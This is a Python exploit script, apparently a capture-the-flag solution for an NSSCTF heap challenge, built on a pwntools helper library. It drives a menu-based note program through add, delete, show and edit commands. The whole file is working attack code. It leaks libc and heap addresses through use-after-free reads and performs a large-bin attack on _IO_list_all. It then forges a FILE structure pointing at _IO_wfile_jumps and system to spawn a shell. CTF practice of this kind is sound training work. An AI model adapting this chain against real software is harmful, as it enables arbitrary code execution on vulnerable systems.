1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
GitHub:
https://github.com/c0mentropy/ckyan.pwnScript
Help:
python3 exp.py --help
python3 exp.py debug --help
python3 exp.py remote --help
Local:
python3 exp.py debug --file ./pwn
Remote:
python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''
# ./exp.py de -f ./heap
# ./exp.py re -f ./heap -u "node2.anna.nssctf.cn:28095" -l ./libc.so.6
from ckyan.pwnScript import *
def cmd(c):
sla(b'>>', str(c).encode())
def add(idx, size):
cmd(1)
sla(b'idx? ', str(idx).encode())
sla(b'size? ', str(size).encode())
def dele(idx):
cmd(2)
sla(b'idx? ', str(idx).encode())
def show(idx):
cmd(3)
sla(b'idx? ', str(idx).encode())
def edit(idx, content):
cmd(4)
sla(b'idx? ', str(idx).encode())
sa(b"content : \n", content)
def bye():
cmd(5)
def exp():
pandora_box.init_script()
elf = pandora_box.elf
libc = pandora_box.libc
p = pandora_box.conn
add(0, 0x500)
add(1, 0x410)
dele(0)
show(0)
main_arena_offset = 0x203ac0
ru(b'nt : \n')
main_arena_addr = uu64(ru(b'\n', drop=True)[-6:]) - 96
log_addr("main_arena", main_arena_addr)
libc_base = main_arena_addr - main_arena_offset
libc = set_libc_base_and_log(libc_base)
add(2, 0x1000)
# D()
edit(0, b'a'*0x10)
show(0)
ru(b'a'*0x10)
heap_base = uu64(r(6)) - 0x290
log_heap_base_addr(heap_base)
edit(0, p64(main_arena_addr+1168)*2)
add(0xf, 0x500)
add(3, 0x610)
add(0xe, 0x418)
add(4, 0x620)
add(0xd, 0x410)
dele(4)
bk = heap_base + 9744
bk_nextsize = libc.sym['_IO_list_all'] - 0x20
pad1 = b''
pad1 += p64(bk) * 2
pad1 += p64(bk_nextsize) * 2
add(5, 0x1000) # 2
fake_IO_2_addr = heap_base + 0x10 + 12384
dele(3)
edit(4, pad1)
add(6, 0x1000) # 1
fake_IO_3_addr = heap_base + 0x10 + 16496
add(7, 0x610)
pad1 = b''
pad1 += b'\x00' * 0x410
pad1 += p64(uu64(b" sh;"))
edit(0xe, pad1)
fake_IO_file = b''
fake_IO_file = fake_IO_file.ljust(0x28-0x10, b'\x00')
fake_IO_file += p64(0xffffffffffffffff)
fake_IO_file = fake_IO_file.ljust(0x88-0x10, b'\x00')
fake_IO_file += p64(trs(2119424)) #_lock
fake_IO_file = fake_IO_file.ljust(0xa0-0x10, b'\x00')
fake_IO_file += p64(fake_IO_2_addr) # _wide_data = fake_IO_2_addr
fake_IO_file = fake_IO_file.ljust(0xd8-0x10, b'\x00')
fake_IO_file += p64(libc.sym['_IO_wfile_jumps']) # vtable = _IO_wflie_jumps
edit(4, fake_IO_file)
pad3 = b''
pad3 += p64(0) * 28
pad3 += p64(fake_IO_3_addr) # 0xe0
edit(5, pad3)
pad4 = b''
pad4 = pad4.ljust(0x38, b'\x00')
pad4 += p64(fake_IO_3_addr)
pad4 = pad4.ljust(0x68, b'\x00')
pad4 += p64(libc.sym['system']) # 0x68
edit(6, pad4)
D()
bye()
sh()
if __name__ == '__main__':
exp()
|